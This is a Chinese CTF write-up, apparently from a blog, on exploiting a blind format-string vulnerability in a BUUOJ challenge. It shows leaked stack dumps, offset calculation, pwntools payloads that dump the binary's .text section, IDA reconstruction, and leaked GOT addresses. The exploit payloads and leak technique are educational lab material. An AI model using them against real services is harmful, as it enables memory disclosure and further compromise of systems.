[*] 1304 0x88869db05f654f00
[*] 1312 0xf8989b2368cfac32
[*] 1320 0x34365f36387889
[*] 1328 (nil)     
[*] .... (nil) 
[*] 1976 (nil)     
[*] 1984 0x2e00000000000000
[*] 1992 0x6e77702f6e77702f
[*] 2000 0x4d414e54534f4800
[*] 2008 0x6162616232313d45
[*] 2016 0x5300623030313137
[*] 2024 0x4800313d4c564c48
[*] 2032 0x6f6f722f3d454d4f
[*] 2040 0x6374652f3d5f0074
[*] 2048 0x2f642e74696e692f
[*] 2056 0x50006474656e6978
[*] 2064 0x7273752f3d485441
[*] 2072 0x732f6c61636f6c2f
[*] 2080 0x7273752f3a6e6962
[*] 2088 0x622f6c61636f6c2f
[*] 2096 0x2f7273752f3a6e69
[*] 2104 0x73752f3a6e696273
[*] 2112 0x732f3a6e69622f72
[*] 2120 0x6e69622f3a6e6962
[*] 2128 0x46002f3d44575000
[*] 2136 0x5f746f6e3d47414c
[*] 2144 0x4d45520067616c66
[*] 2152 0x54534f485f45544f
[*] 2160 0x312e302e3437313d
[*] 2168 0x2f2e003331322e30
[*] 2176 0x6e77702f6e7770
[*] 2184 (nil)   

此处我们发现了在泄露序号为720和832的位置出现了相同的明显位于.text段中的相同地址,这就是_start函数的地址。

同时也已经发现了格式化字符串位置。

[*] 336  0x7265746165706552  --> retaepeR
[*] 344  0x2d3c70243334253a  --> -<p$34%:
[*] 352  0x000000000a0a7c2d  --> \n\n|-

此时我们注意到,如果我们先填充7个字节,接下来填充的格式化字符串将位于352的位置上。

那么,我们的格式化字符串位置将实际位于N=44处,即偏移为44,那么我们接下来构建偏移,泄露文件。

Dump .text

此处我们首先尝试构建payload = 'Leak-->%45$s<-|'+p64(start_addr)

发送到远端会发现没有泄露回显,并且远端异常退出了。

正巧BUUOJ给定了源码,我们本地调试一下~

经过调试,发现程序会在我们输入的地址末尾强制加上一个\x0a字节,进而会中断在

movdqu xmm4, XMMWORD PTR [rax] ; <strlen+38>   RAX=0x0a400720  

进而会导致访址失败。

此时重新看看我们一开始泄露出的数据,仔细观察可以发现,在编号为64(N=8)的位置也有我们输入的格式化字符串,事实上,我们的输入正是从编号64开始,只是会被sprintf函数复制到编号352(N=44)的位置,而在未经过sprintf函数复制时,我们的地址末尾并不会被强制放上\x0a,因此,我们构造的payload应当为payload = 'Leak--->%10$s<-|'+p64(start_addr),此时,程序将会从上方未经过sprintf函数的我们的输入处获取的函数地址处获取数据。

IDA文件修复&分析

image-20200104154221368

根据前面说明过的_start函数结构,我们可以很方便的找到main函数位置。

image-20200104154604373

这里因为setbuf函数分析失败了,我们可以看汇编码推测得出部分函数的名字。

image-20200104155016936

显然这里给Sub_400670传入的是回显的内容,那么Sub_400670应为puts函数。

给Sub_4006D0传入了0、字符串地址、长度,则Sub_4006D0应当为read函数。

给Sub_4006F0同时传入了我们输入的字符串地址和一个新的字符串地址,于是怀疑是sprintf函数。

最后的Sub_4006A0传入了给Sub_4006F0传入的新函数地址,于是怀疑是printf函数。

image-20200104155939389

泄露printf的got表地址

我们接下来泄露printf@plt也就是0x4006D0处的指令内容,以获取printf@got的位置。

printf_plt=0x4006D0
payload = 'Leak--->%10$s<-|'+p64(printf_plt)
sh.recvuntil('Please tell me:')
sh.sendline(payload)
sh.recvuntil('Repeater:Leak--->')
print(disasm(sh.recvuntil('<-|').strip('<-|')))

image-20200104160419825

但是发现,根据disasm的信息,printf@plt并没有存放printf@got的地址。此处我们决定重新泄露文件,将起始点设为0x400600

image-20200104165114796

发现分析结果有了较为明显的变化。

image-20200104165148147

我们相应的点进去就可以获知其.plt.got地址。

于是我们可以获取

strlen@.plt.got:0x601020
setbuf@.plt.got:0x601028
printf@.plt.got:0x601030
read  @.plt.got:0x601048
puts  @.plt.got:0x601018
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注